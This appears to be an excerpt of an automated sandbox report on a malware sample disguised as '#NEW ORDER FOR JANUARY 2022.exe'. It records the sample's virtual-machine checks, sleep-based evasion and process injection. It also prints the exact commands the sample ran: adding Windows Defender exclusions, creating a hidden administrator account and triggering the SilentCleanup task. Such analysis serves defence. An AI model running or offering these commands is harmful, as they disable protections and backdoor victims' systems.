Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000003.706917679.00000000062D2000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, svchost.exe, 00000020.00000003.735522789.00000000067C2000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, svchost.exe, 00000024.00000002.804585113.00000000037A1000.00000004.00000001.sdmp, svchost.exe, 00000024.00000003.756169106.0000000006B42000.00000004.00000001.sdmp, svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: svchost.exe, 00000020.00000002.759358172.00000000033E1000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLLEV
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\SysWOW64\net1.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\SysWOW64\net1.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe TID: 900	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5752	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1844	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5644	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6904	Thread sleep time: -13835058055282155s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6736	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3116	Thread sleep count: 2874 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6968	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5384	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 4940	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 5072	Thread sleep count: 2586 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 5072	Thread sleep count: 2870 > 30
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe TID: 7148	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6736	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe TID: 5584	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 5052	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 5852	Thread sleep count: 3974 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe TID: 5852	Thread sleep count: 5817 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6625	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1957	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3482
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3603
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2874
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Window / User API: threadDelayed 2586
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Window / User API: threadDelayed 2870
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6077
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2613
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Window / User API: threadDelayed 3974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Window / User API: threadDelayed 5817

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion

Jump to behavior

Source: C:\Windows\SysWOW64\net1.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: VMwareVBoxARun using valid operating systemUSER
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: &C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: %C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: )C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: #NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: kernel32.dll/wine_get_unix_file_nameQEMU
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: VIRTUALBOXUSOFTWARE\Oracle\VirtualBox Guest Additions!noValueButYesKeySC:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: "SOFTWARE\VMware, Inc.\VMware Tools
Source: svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp	Binary or memory string: 'C:\WINDOWS\system32\drivers\vmmouse.sys

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 43A000	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 10FA008	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 402000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 43A000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 43C000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: D96008
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43A000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43C000
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: AA7008

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" user ADMIN~1 SECRET@1234 /add	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators ADMIN~1 /add	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup users "user" /add	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" localgroup administrators "user" /del	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user ADMIN~1 SECRET@1234 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators ADMIN~1 /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup users "user" /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators "user" /del	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe" -Force
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe
Source: C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Source: aspnet_regbrowsers.exe, 00000025.00000002.938674396.00000000019C0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: aspnet_regbrowsers.exe, 00000025.00000002.938674396.00000000019C0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: aspnet_regbrowsers.exe, 00000025.00000002.938674396.00000000019C0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: aspnet_regbrowsers.exe, 00000025.00000002.938674396.00000000019C0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\#NEW ORDER FOR JANUARY 2022.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
